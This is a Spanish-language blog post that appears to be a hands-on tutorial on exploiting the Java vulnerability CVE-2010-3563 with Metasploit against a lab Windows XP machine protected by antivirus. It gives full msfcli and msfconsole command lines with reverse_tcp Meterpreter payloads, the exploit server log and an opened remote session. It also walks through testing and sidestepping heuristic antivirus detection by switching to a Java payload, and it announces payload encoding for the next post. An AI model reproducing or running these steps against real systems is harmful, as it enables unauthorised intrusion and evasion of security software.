Hace unos días vimos como explotando al vulnerabilidad MS08-067 en un sistema con Antivirus este no se enteraba de nada, debido a que las acciones realizadas estaban "bajo el radar" y por tanto pasaban desapercibidas para el Antivirus.
Hoy vamos a probar otra vulnerabilidad para la cual no vamos a tener la misma suerte, como es la CVE-2010-3563 de Java, que es la que aprovecha el exploit "windows/browser/java_basicservice_impl" de Metasploit. Veamos lo que pasa al intentar explotar esta vulnerabilidad. Primero que nada levantamos un servidor web a la escucha que espera conexiones de navegadores e intenta explotar esta vulnerabilidad. Esta vez, en lugar de usar msfconsole vamos a usar msfcli, que es básicamente lo mismo pero le ponemos directamente todos los parámetros en la linea de comandos (muy útil a veces):
# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=windows/meterpreter/reverse_tcp LHOST=172.16.146.132 E
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.146.132:4444
[*] Using URL: http://0.0.0.0:8080/5VTcH8EGRi00E
[*] Local IP: http://172.16.146.132:8080/5VTcH8EGRi00E
[*] Server started.
Ahora ya solo tenemos que coger un navegador vulnerable y hacerle visitar http://172.16.146.132:8080/5VTcH8EGRi00E , y a ver que pasa...
Ops! Bueno, parece que el Antivirus nos ha cazado esta vez. Según la información detecta un fichero temporal ejecutable como Win32/Heur, es decir, tiene toda la pinta de que ha sido detectado por Heurística, no por firma.
Para comprobarlo, vamos a repetir la operación pero esta vez vamos a usar un Payload de Metasploit distinto a Meterpreter. Concretamente, Metasploit tiene algunos Payloads específicamente pensados para hacer pruebas, entre ellos uno llamado "tight_loop", que si le pegamos un vistazo, tiene una pinta así:
# cat /opt/metasploit3/msf3/modules/payloads/singles/generic/tight_loop.rb
Como podemos ver, es un Payload que contiene una sola instrucción en ensamblador que realiza un salto a ella misma, por lo que se convertirá en un bucle infinito. Este Payload se completará con NOPs para formar el Exploit final, por lo que no debería hacer saltar ninguna regla del Antivirus. Utilizando este Payload vamos a comprobar a ver si lo que está detectando con su Heurística es el cuerpo del Meterpreter o no.
# ./msfcli windows/browser/java_basicservice_impl PAYLOAD=generic/tight_loop LHOST=172.16.146.132 E
[*] Exploit running as background job.
[*] Using URL: http://0.0.0.0:8080/U8VpIr
[*] Local IP: http://172.16.146.132:8080/U8VpIr
[*] Server started.
Repetimos la operación, visitamos el enlace que nos da Metasploit a ver que pasa...
Bueno, ya tenemos algo más de información, si el Payload no es lo que le está haciendo saltar, pues entonces tiene que ser alguna de las acciones que está realizando previamente a ejecutar el Payload. Podría ser el hecho de que Internet Explorer esté lanzando un ejecutable, o algo que hay en el propio ejecutable. Para comprobarlo si es una cosa u otra es fácil, vamos a coger el binario, vamos a moverlo al escritorio, vamos a cambiarle el nombre y vamos a ejecutarlo a mano. Si el antivirus vuelve a saltar es que no está siendo detectado porque lo esté lanzando un navegador ni nada parecido, sino que es algo interno al binario. Hacemos esto, le damos doble click y...
No nos deja ejecutarlo, y en cuanto le cambiamos de nombre o pasamos el ratón por encima nos salta la ventana alertándonos de la amenaza, así que parece que va a ser algo del propio binario.
Podríamos intentar encodear el binario para que no detectara (lo veremos en el siguiente post), pero en lugar de eso vamos a hacer algo más sencillo: ¿qué pasará si cambiamos el ejecutable que lanza el exploit por un java? Evidentemente el binario cambiará completamente, y con un poco de suerte la detección heurística del Antivirus no estará preparada para esto.
# ./msfconsole
> setg RHOST 172.16.146.146
> setg LHOST 172.16.146.132
> use windows/browser/java_basicservice_impl
> show targets
Id Name
-- ----
0 Windows x86
1 Generic (Java Payload)
> set TARGET 1
> show payloads
[...]
java/meterpreter/reverse_tcp
[...]
> set PAYLOAD java/meterpreter/reverse_tcp
> exploit
[*] Exploit running as background job.
[*] Started reverse handler on 172.16.146.132:4444
[*] Using URL: http://0.0.0.0:8080/EljVGtlEWd26kZr
[*] Local IP: http://172.16.146.132:8080/EljVGtlEWd26kZr
[*] Server started.
Ahora vamos a hacer que nuestro navegador vulnerable visite esta url a ver que vemos en nuestro Metasploit y en la pantalla del PC:
[*] Sending redirect to init.jnlp
[*] Sending init.jnlp
[*] Sending init.jnlp
[*] Sending Jar file to 172.16.146.146:1161...
[*] Checking with HEAD
[*] Sending exploit.jnlp
[*] Sending Jar file to 172.16.146.146:1164...
[*] Sending all.policy
[*] Sending stage (27642 bytes) to 172.16.146.146
[*] Meterpreter session 1 opened (172.16.146.132:4444 -> 172.16.146.146:1165) at Sun May 08 13:03:00 +0200 2011
> sessions -i 1
meterpreter > sysinfo
OS : Windows XP 5.1 (x86)
Computer : rootedlab2
Meterpreter : java/java
Bingo! Ya tenemos un Meterpreter corriendo en la máquina comprometida. Lamentáblemente la funcionalidad del Meterpreter Java es muy inferior al del Meterpreter Nativo para Windows, así que ahora deberíamos intentar subir un Meterpreter Windows y lanzarlo, para obtener toda su funcionalidad, pero... evidentemente si lo hacemos tan cual va a ser detectado por el Antivirus al igual que lo hacía antes.
meterpreter > upload msf.exe
[*] uploading : msf.exe -> msf.exe
[*] uploaded : msf.exe -> msf.exe
meterpreter > execute -H -f msf.exe
[-] stdapi_sys_process_execute: Operation failed: 1
En el próximo post, algo de encoding de binarios con Metasploit.
.png "English"){kind=small}
Entradas
